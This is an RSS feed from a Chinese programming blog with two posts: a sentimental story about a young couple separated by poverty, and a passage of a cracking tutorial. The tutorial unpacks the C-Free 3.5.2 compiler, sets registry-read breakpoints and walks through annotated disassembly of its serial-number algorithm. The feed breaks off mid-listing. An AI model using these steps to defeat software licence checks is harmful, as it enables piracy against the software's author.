﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>博客园-Fancy Blog</title><link>http://www.cnblogs.com/F4ncy/</link><description /><language>zh-cn</language><lastBuildDate>Wed, 20 Aug 2008 13:22:00 GMT</lastBuildDate><pubDate>Wed, 20 Aug 2008 13:22:00 GMT</pubDate><ttl>60</ttl><item><title>没有钱我们能爱多久</title><link>http://www.cnblogs.com/F4ncy/archive/2005/11/23/283094.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Wed, 23 Nov 2005 12:30:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/11/23/283094.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/283094.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/11/23/283094.html#Feedback</comments><slash:comments>4</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/283094.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/283094.html</trackback:ping><description><![CDATA[<P>没有钱我们能爱多久<BR><BR>我的女友很优秀，很出色，直至如今我仍想不出对她不一往情深的理由，她的优秀让我对所有感情的诱惑都不屑一顾，我们深深的倾情于对方，在校园那段美丽而又浪漫的日子里，我们身边全是羡慕的眼光。曾有一个喜欢我的女孩儿气乎乎的说我们的爱不会是永远，女友冲她做了个鬼脸，说我们是最幸福的一对。&nbsp; </P>
<P>在学校的时光过得开心而又潇洒，几乎每一次我们都是挽着手一起去上晚自习，无论再冷再热的天气我们都会换着时间在对方宿舍楼下等待。下雪的时候她为了我去学织手套，结果手都扎破了，为这些我幸福得炫耀了好多天。我们一起去食堂打饭，一起看电影，一起逛街，所有能在一起的时间我们都没有错过。我很喜欢我去打蓝球她在旁边拎着手服为我加油的样子，我很怀念她坐在我的旧单车后面轻轻依靠的感觉&nbsp; ，我为她偷过花园里的玫瑰，为她和别人比赛爬高，结果我摔下来头都破了&#8230;&#8230;那些日子，是我一生的最快乐。&nbsp; <BR>　　　　<BR>毕业后，我们为了能在一起和各自的家人都闹翻了，他们说我们不会幸福，可那根本无济于事，没人能拦住我们。&nbsp; <BR>　　　　<BR>可是，我们从搬进租来房子的第一天起，就默不作声的坐了半天，因我们第一次知道了什么都没有的滋味，她的父母是机关干部，她是他们唯一的女儿；我的家人做生意，而我也是独子，衣来伸手，饭来张口的待遇一去不复返，好在我们是相爱的，&nbsp; 我们是真心的，于是相视着笑了，拍拍手，开始了新的生活。&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>社会给我们上了生动的一课。我们真正知道了有学历找工作也并非那么符合心愿&nbsp; ，从起初的高不成低不就惭惭变成能挣钱的都干，体会了生活的艰辛，领教了现实的残酷，然而我们很开心，因为我们能在一起。&nbsp; <BR>　　　　<BR>第一个月发工资我给她买了条围巾，买了份烤鸭和饺子，她却哭了，像个委屈的孩子的在我怀里泣不成声，我的心酸透了，那一刻，我很难过。&nbsp; <BR>　　　　<BR>在寒冬的夜里，我们围着电暖哭取暖，她作出以苦思甜状靠在我的肩头，她美丽的大眼睛里的那种眼神让我感觉很忧伤，我伏在她耳边说一定要让她过上好日子，我们一定会像从前那样让人羡慕的。她说能相爱已经是很幸福的事情了，我们还奢求什么呢？只要你能留在我的身边，只要我们永远都能这样相偎着互相取暖，只要你发工资还能记得给我买烤鸭和饺子，我就是世上最幸福的女人，再说那些有钱人未必会像我们这样相亲相爱，记住，我们是最幸福的一对，无论发生什么事情我都不要你离开我！&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>她的话让我心头一热，紧紧的拥住她，我不敢让她看到我的眼泪，因为她喜欢坚强的男孩儿。我在心里一遍一遍告诉自己要努力，那晚我们再次海誓山盟，那晚我们&nbsp; 幻想未来，那晚我们相约一辈子不离不弃。&nbsp; <BR>　　　　<BR>我想我们的爱够轰轰烈烈了，我想我们的情足以让天地动容了，可就在那晚，房东太太催我们交房租，我们的幸福很让她感动，但她眼睛里更多的是同情和怀疑。&nbsp; <BR>　　&nbsp; <BR>我们每次很穷的时候都会情不自禁的说起在学校的浪漫时光，那时我们不开心的时候只需在校园迷人的小路上拉着手走一段就没事了，那年的圣诞夜我跑遍了城市所&nbsp; 有的精品屋才找到她喜爱已久的八音盒，那时她最爱给我讲王子与公主的故事，那时&nbsp; 我的皮肤哪怕蹭破一块皮她也会心疼得掉眼泪。&nbsp; <BR>　　　　<BR>可是现在，我所能够给她的幸福只是在发工资时才舍得买的一份烤鸭和饺子。&nbsp; <BR>　　&nbsp; <BR>尽管生活慢慢的好起来，但这种所谓的进步只是相对于以前的寒酸。我们惭惭都&nbsp; 有了个稳定的工作，也攒了一些钱，但从那时开始我们谈的最多的却成了如何买房子，我们幻想着有一天能有自己漂亮的私家车，她说她给我看中了一套皮尔卡丹西服，她说要把我打造成一个完美男人。可我知道，每次路过美容店的时候她都很忧伤，当我看到她那美丽的容颜因缺少保养而有些黯然的时候，我一下子感觉到了自己在这个社会里的渺小，惭愧呀，但却只能苦笑！于是那天我花了六百块钱给她买了点美容用的东西，她高兴得像个孩子那样又蹦又跳，此情此景，我唯一能做的也许只能是长叹一口气吧！&nbsp; <BR>　　　　<BR>我去过她就职的那家广告公司，那些不漂亮的女人们背着意大利真皮皮包，穿着上千元的套装。我也去过她同事的家，那些漂亮房子里有着超大屏幕的背投影电视，有着可以将整个人都埋进去的舒适的沙发，有浪漫的灯光，有红酒，甚至养着名贵的狗。女主人在炫耀着她的名牌袜子，她价值昂贵的首饰，这一切，只是因为她们找了个有钱的老公，面对满屋子的时尚，我偷偷的脸红了。&nbsp; <BR>　　　　<BR>她们兴高采烈的谈论着一部最新引进大片，而我却想到了女友在菜市场为了一毛&nbsp; 两毛钱和人讨价还价的模样，别人说这么漂亮的女孩儿还这么小气时她的无地自容;记得有天她偷偷对着镜子流泪，因为她那纤细而又娇嫩的手因洗衣而变得苍白，因为&nbsp; &#8230;&#8230;，我不知道能够列举出多少因为，但我知道，这一切，只是因为我们还没有能够过上像在家里那样的生活，因为我们没有钱；记起挤公交车的尴尬；记起她委屈而又不欲外露的神情。&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>我看了女友一眼，她双腮酡红，过了一会儿她提出有事要先告辞，我知道她是为我着想，我也清晰的记得，那一晚，我们都失眠了。&nbsp; <BR>　　　　<BR>从此她成了幸福但不快乐的女孩儿，她像我一样拼命的工作，打拼在这个现实的&nbsp; 社会里，每天一下班都已是一身一心的疲惫，望着她曾经天真单纯而今写满倦意的脸&nbsp; <BR>庞，望着她为了不让我难过而强自微笑的表情，我的心碎了。&nbsp; <BR>　　　　<BR>于是我拼命的挣钱，像牛一样勤耕不辍，拉着我们的感情前行。我们的事业是有希望的，因为我们有才华，因为我们很努力，但成功却是一个漫长的过程。生活过的&nbsp; 好一些了，但我们都知道在我们工作的那个圈子，我们依旧是贫下中农，我偷偷的学会了喝酒、抽烟。&nbsp; <BR>　　　　<BR>在二年七个月零十三天的那个晚上，她走了，留下一封让我心碎而又无奈的信，她说：宝贝儿，我很爱你，你知道的，我很爱你！为了你，我可以什么都不顾，为了你，我可以毫不犹豫的牺牲自己，你是我的一切，是我的幸福，可正是因为这份爱才让我决定离开你，我将所有的眼泪都留在了这间屋子里，我将所有的情谊都刻在了心里，可我不忍再看你为了让我过的好一点而不要命的工作，我不忍再看你在压力下日惭消瘦，你知道吗？每次你偷偷的喝酒回来，我的心都在痛啊！&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>我很无奈，我们都很无奈，因为我不知道，没有钱，我们能爱多久？&nbsp; <BR>　　　　<BR>当初，为了你我留了下来，如今，为了你我要离开，我的背包里装满了让人心醉&nbsp; 的回忆，也许有一天我还会回来，因为我爱你，没有你，我的生命便没有色彩，可是现在让我走吧，那样你会轻松一点，我们都会轻松一点，好吗？&nbsp; <BR>　　　　<BR>照顾自己&#8230;&#8230;&nbsp; <BR>　　　　　　　　　　　　　　　　　　　　　　　&nbsp; <BR>是啊！没有钱，我们能爱多久？&#8221; 在她走后，我反复的吟念这句让人心酸的台词，眼泪再次无声的滑落&#8230;&#8230;&nbsp; <BR></P><img src ="http://www.cnblogs.com/F4ncy/aggbug/283094.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/41804/" target="_blank">[新闻]Google云计算服务系统本周严重崩溃</a>]]></description></item><item><title>编译器C-Free V352注册算法分析</title><link>http://www.cnblogs.com/F4ncy/archive/2005/09/19/239976.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Mon, 19 Sep 2005 13:23:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/09/19/239976.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/239976.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/09/19/239976.html#Feedback</comments><slash:comments>7</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/239976.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/239976.html</trackback:ping><description><![CDATA[<P>编译器C-Free V352注册算法分析</P>
<P>作者：prince</P>
<P>ASPack 2.12 脱壳很简单，ASPackDie也可以轻松对付。无自校验，脱壳后可直接运行。注册情况：机器码给出，输入用户名prince和序列号8764321，确定，提示重启验证。<BR>说到重启验证，最简单最直接的就想到注册表，确认一下，打开注册表搜索用户名prince，果然找到在\HKEY_LOCAL_MACHINE\SOFTWARE\C-Free\3.5下，同样列在其中的还有我们输入的假码87654321和我机器上的机器码(MachineCode)2781318776。这下我们就可以确定了软件确实是通过注册表来进行重启验证的。目标如此明确，载入脱壳后的程序，下断点RegQueryValueA，恩？没有，再下RegQueryValueExA，呵呵，可以了。F9运行，马上被断下，看堆栈，ValueName = "layout text"，不是我们想要的，继续F9，注意断点不能取消，因为后面的对注册表的读取还是要靠这个函数，再次断下，还不是，再运行...，大约81次，堆栈中显示ValueName<BR>= "MachineCode"，这就是要读取机器码了，注意。再次F9，断在读取RegistryCode也就是假码的地方，呵呵，敏感。再接下来是读取UserName，即用户名。到这里，计算注册码的准备工作就做完了，可是在那里计算的呢？作者在软件启动的时候将所有的配置信息连同机器码，用户名和注册码一起读出，而且也没有读出后立即计算注册码继续比较，这就给我们定位注册码计算造成了困难。这个时候我们该怎么办？两个办法，一个就是下面都进行单步跟踪，直到找到关键函数为止，毕竟软件在启动前肯定会计算注册码的；另外一个办法就是在内存中搜索假码然后下内存断点，这个方法倒是即快又方便，但是要掌握时机，具体什么时候搜内存要看代码的动作。我通常都是先搜内存，不行的话只好一步一步的单跟了，做Cracker要有耐心。当你在堆栈中看到ValueName = "EditorTabWidth"的时候，小心，呵呵，我们到了藏有宝藏的秘密入口了。</P>
<P>----------------------------------------------------------------------------------------<BR>00419654&nbsp; |.&gt;MOV WORD PTR DS:[EBX+10],4B8<BR>0041965A&nbsp; |.&gt;MOV EDX,unpacked.005DAA4C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; ASCII "EditorTabWidth"<BR>0041965F&nbsp; |.&gt;LEA EAX,DWORD PTR SS:[EBP-620]<BR>00419665&nbsp; |.&gt;CALL unpacked.0058D308<BR>0041966A&nbsp; |.&gt;INC DWORD PTR DS:[EBX+1C]<BR>0041966D&nbsp; |.&gt;MOV EDX,DWORD PTR DS:[EAX]<BR>0041966F&nbsp; |.&gt;MOV EAX,ESI<BR>00419671&nbsp; |.&gt;CALL unpacked.004E936C<BR>00419676&nbsp; |.&gt;MOV ECX,DWORD PTR DS:[EDI]<BR>00419678&nbsp; |.&gt;MOV EDX,2<BR>0041967D&nbsp; |.&gt;MOV DWORD PTR DS:[ECX+A0C],EAX<BR>00419683&nbsp; |.&gt;LEA EAX,DWORD PTR SS:[EBP-620]<BR>00419689&nbsp; |.&gt;DEC DWORD PTR DS:[EBX+1C]<BR>0041968C&nbsp; |.&gt;CALL unpacked.0058D520<BR>00419691&nbsp; |.&gt;MOV ECX,DWORD PTR DS:[EDI]<BR>00419693&nbsp; |.&gt;MOV BYTE PTR DS:[ECX+8F4],0<BR>0041969A&nbsp; |.&gt;MOV EAX,DWORD PTR DS:[EDI]<BR>0041969C&nbsp; |.&gt;INC DWORD PTR DS:[EAX+8F0]<BR>004196A2&nbsp; |.&gt;CALL unpacked.00462F18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 取机器码送EAX<BR>004196A7&nbsp; |.&gt;MOV DWORD PTR SS:[EBP-764],EAX<BR>004196AD&nbsp; |.&gt;MOV WORD PTR DS:[EBX+10],98<BR>004196B3&nbsp; |.&gt;MOV EDX,DWORD PTR DS:[EDI]<BR>004196B5&nbsp; |.&gt;MOV ECX,DWORD PTR DS:[EDX+8E4]<BR>004196BB&nbsp; |.&gt;CMP ECX,DWORD PTR SS:[EBP-764]<BR>004196C1&nbsp; |.&gt;JNZ unpacked.00419772<BR>004196C7&nbsp; |.&gt;LEA EAX,DWORD PTR SS:[EBP-884]<BR>004196CD&nbsp; |.&gt;PUSH EAX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; /Arg2<BR>004196CE&nbsp; |.&gt;MOV EDX,DWORD PTR SS:[EBP-764]&nbsp;&nbsp; ; |[EBP-764]==机器码<BR>004196D4&nbsp; |.&gt;PUSH EDX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; |Arg1<BR>004196D5&nbsp; |.&gt;CALL unpacked.00462F70&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; \关键CALL，跟进<BR>004196DA&nbsp; |.&gt;MOV WORD PTR DS:[EBX+10],4C4&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 上面的这个CALL计算真码，存放在EAX中(哎！又是明文</P>
<P>)<BR>004196E0&nbsp; |.&gt;ADD ESP,8<BR>004196E3&nbsp; |.&gt;LEA EDX,DWORD PTR SS:[EBP-884]&nbsp;&nbsp; ;&nbsp; 真码地址送入EDX<BR>004196E9&nbsp; |.&gt;LEA EAX,DWORD PTR SS:[EBP-624]<BR>004196EF&nbsp; |.&gt;CALL unpacked.0058D308<BR>004196F4&nbsp; |.&gt;INC DWORD PTR DS:[EBX+1C]<BR>004196F7&nbsp; |.&gt;MOV EDX,DWORD PTR DS:[EAX]<BR>004196F9&nbsp; |.&gt;MOV EAX,DWORD PTR DS:[EDI]<BR>004196FB&nbsp; |.&gt;MOV EAX,DWORD PTR DS:[EAX+8E8]&nbsp;&nbsp; ;&nbsp; 假码送入EAX，呵呵，准备比较了哦<BR>00419701&nbsp; |.&gt;CALL unpacked.004ECED4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 比较函数，嘿嘿。<BR>00419706&nbsp; |.&gt;TEST EAX,EAX<BR>00419708&nbsp; |.&gt;LEA EAX,DWORD PTR SS:[EBP-624]</P>
<P>----------------------------------------------------------------------------------------</P>
<P>我们要找算法的计算过程，所以004196D5 处跟进：</P>
<P>----------------------------------------------------------------------------------------<BR>00462F70&nbsp; /$&gt;PUSH EBP<BR>00462F71&nbsp; |.&gt;MOV EBP,ESP<BR>00462F73&nbsp; |.&gt;ADD ESP,-0C<BR>00462F76&nbsp; |.&gt;XOR EDX,EDX<BR>00462F78&nbsp; |.&gt;PUSH EBX<BR>00462F79&nbsp; |.&gt;PUSH ESI<BR>00462F7A&nbsp; |.&gt;PUSH EDI<BR>00462F7B&nbsp; |.&gt;MOV EBX,25&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; EBX=0x25<BR>00462F80&nbsp; |.&gt;MOV ECX,DWORD PTR SS:[EBP+8]&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; [EBP+8]==机器码<BR>00462F83&nbsp; |.&gt;XOR ECX,90909090&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 机器码异或90909090，ECX==35571EE8<BR>00462F89&nbsp; |.&gt;MOV EAX,ECX<BR>00462F8B&nbsp; |.&gt;DIV EBX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 上面异或的结果除以25<BR>00462F8D&nbsp; |.&gt;MOV EAX,EDX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 余数送EAX<BR>00462F8F&nbsp; |.&gt;CMP EAX,11&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 余数同0x11比较<BR>00462F92&nbsp; |.&gt;JGE SHORT unpacked.00462F97&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 大于等于就直接压栈准备函数调用<BR>00462F94&nbsp; |.&gt;ADD EAX,11&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 否则余数+0x11，然后再入栈<BR>00462F97&nbsp; |&gt;&gt;PUSH EAX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; /Arg3 余数入栈<BR>00462F98&nbsp; |.&gt;LEA EDX,DWORD PTR SS:[EBP-C]&nbsp;&nbsp;&nbsp;&nbsp; ; |<BR>00462F9B&nbsp; |.&gt;PUSH EDX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; |Arg2<BR>00462F9C&nbsp; |.&gt;PUSH ECX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; |Arg1 上面异或结果入栈<BR>00462F9D&nbsp; |.&gt;CALL unpacked.005861F0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; \跟进<BR>00462FA2&nbsp; |.&gt;MOV ECX,DWORD PTR SS:[EBP+C]<BR>00462FA5&nbsp; |.&gt;ADD ESP,0C<BR>00462FA8&nbsp; |.&gt;MOV ESI,ECX<BR>00462FAA&nbsp; |.&gt;XOR EAX,EAX<BR>00462FAC&nbsp; |.&gt;LEA EDI,DWORD PTR SS:[EBP-C]</P>
<P>----------------------------------------------------------------------------------------</P>
<P>00462F9D 处继续跟进：</P>
<P>----------------------------------------------------------------------------------------<BR>005861F0&nbsp; /$&gt;PUSH EBP<BR>005861F1&nbsp; |.&gt;MOV EBP,ESP<BR>005861F3&nbsp; |.&gt;MOV EAX,DWORD PTR SS:[EBP+10]<BR>005861F6&nbsp; |.&gt;MOV EDX,DWORD PTR SS:[EBP+8]<BR>005861F9&nbsp; |.&gt;CMP EAX,0A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 余数同0A比较<BR>005861FC&nbsp; |.&gt;PUSH 61<BR>005861FE&nbsp; |.&gt;SETE CL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 条件为假，所以CL清零<BR>00586201&nbsp; |.&gt;AND ECX,1<BR>00586204&nbsp; |.&gt;CMP EAX,0A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 仍然同0A比较<BR>00586207&nbsp; |.&gt;PUSH ECX<BR>00586208&nbsp; |.&gt;PUSH EAX<BR>00586209&nbsp; |.&gt;MOV ECX,DWORD PTR SS:[EBP+C]<BR>0058620C&nbsp; |.&gt;PUSH ECX<BR>0058620D&nbsp; |.&gt;JNZ SHORT unpacked.00586213<BR>0058620F&nbsp; |.&gt;MOV EAX,EDX<BR>00586211&nbsp; |.&gt;JMP SHORT unpacked.00586215<BR>00586213&nbsp; |&gt;&gt;MOV EAX,EDX<BR>00586215&nbsp; |&gt;&gt;PUSH EAX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; |Arg1<BR>00586216&nbsp; |.&gt;CALL unpacked.00586160&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; \跟进<BR>0058621B&nbsp; |.&gt;ADD ESP,14<BR>0058621E&nbsp; |.&gt;POP EBP<BR>0058621F&nbsp; \.&gt;RETN</P>
<P>----------------------------------------------------------------------------------------</P>
<P>没有结果，00586216处继续跟进：</P>
<P>----------------------------------------------------------------------------------------<BR>00586160&nbsp; /$&gt;PUSH EBP<BR>00586161&nbsp; |.&gt;MOV EBP,ESP<BR>00586163&nbsp; |.&gt;ADD ESP,-24<BR>00586166&nbsp; |.&gt;PUSH EBX<BR>00586167&nbsp; |.&gt;PUSH ESI<BR>00586168&nbsp; |.&gt;PUSH EDI<BR>00586169&nbsp; |.&gt;MOV EDI,DWORD PTR SS:[EBP+10]&nbsp;&nbsp;&nbsp; ;&nbsp; [EBP+10]为前面压栈的余数<BR>0058616C&nbsp; |.&gt;MOV ESI,DWORD PTR SS:[EBP+8]&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; [EBP+8]为机器码异或90909090的结果<BR>0058616F&nbsp; |.&gt;MOV EBX,DWORD PTR SS:[EBP+C]<BR>00586172&nbsp; |.&gt;CMP EDI,2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 余数同0x2比较<BR>00586175&nbsp; |.&gt;JL SHORT unpacked.005861C4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 小于跳<BR>00586177&nbsp; |.&gt;CMP EDI,24&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 同0x24比较<BR>0058617A&nbsp; |.&gt;JG SHORT unpacked.005861C4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 大于则跳<BR>0058617C&nbsp; |.&gt;TEST ESI,ESI<BR>0058617E&nbsp; |.&gt;JGE SHORT unpacked.0058618C<BR>00586180&nbsp; |.&gt;CMP BYTE PTR SS:[EBP+14],0<BR>00586184&nbsp; |.&gt;JE SHORT unpacked.0058618C<BR>00586186&nbsp; |.&gt;MOV BYTE PTR DS:[EBX],2D<BR>00586189&nbsp; |.&gt;INC EBX<BR>0058618A&nbsp; |.&gt;NEG ESI<BR>0058618C&nbsp; |&gt;&gt;LEA ECX,DWORD PTR SS:[EBP-24]&nbsp;&nbsp;&nbsp; ;&nbsp; 下面为关键循环<BR>0058618F&nbsp; |&gt;&gt;/MOV EAX,ESI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; ESI==机器码异或结果<BR>00586191&nbsp; |.&gt;|XOR EDX,EDX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; EDX清零<BR>00586193&nbsp; |.&gt;|DIV EDI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 将上面异或结果除以压栈的余数<BR>00586195&nbsp; |.&gt;|MOV BYTE PTR DS:[ECX],DL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 上面计算的余数的一个字节写入内存<BR>00586197&nbsp; |.&gt;|INC ECX<BR>00586198&nbsp; |.&gt;|MOV EAX,ESI<BR>0058619A&nbsp; |.&gt;|XOR EDX,EDX<BR>0058619C&nbsp; |.&gt;|DIV EDI<BR>0058619E&nbsp; |.&gt;|MOV ESI,EAX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 又做了一次相同的计算，商送入ESI<BR>005861A0&nbsp; |.&gt;|TEST EAX,EAX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 直到EAX==0为止<BR>005861A2&nbsp; |.&gt;\JNZ SHORT unpacked.0058618F&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 不为0则继续循环<BR>005861A4&nbsp; |.&gt;JMP SHORT unpacked.005861BD<BR>005861A6&nbsp; |&gt;&gt;/DEC ECX<BR>005861A7&nbsp; |.&gt;|MOV AL,BYTE PTR DS:[ECX]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 内存[ECX]的值送入AL<BR>005861A9&nbsp; |.&gt;|CMP AL,0A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 同0A比较<BR>005861AB&nbsp; |.&gt;|JGE SHORT unpacked.005861B5&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 大于等于跳到下面进行另外的计算<BR>005861AD&nbsp; |.&gt;|ADD 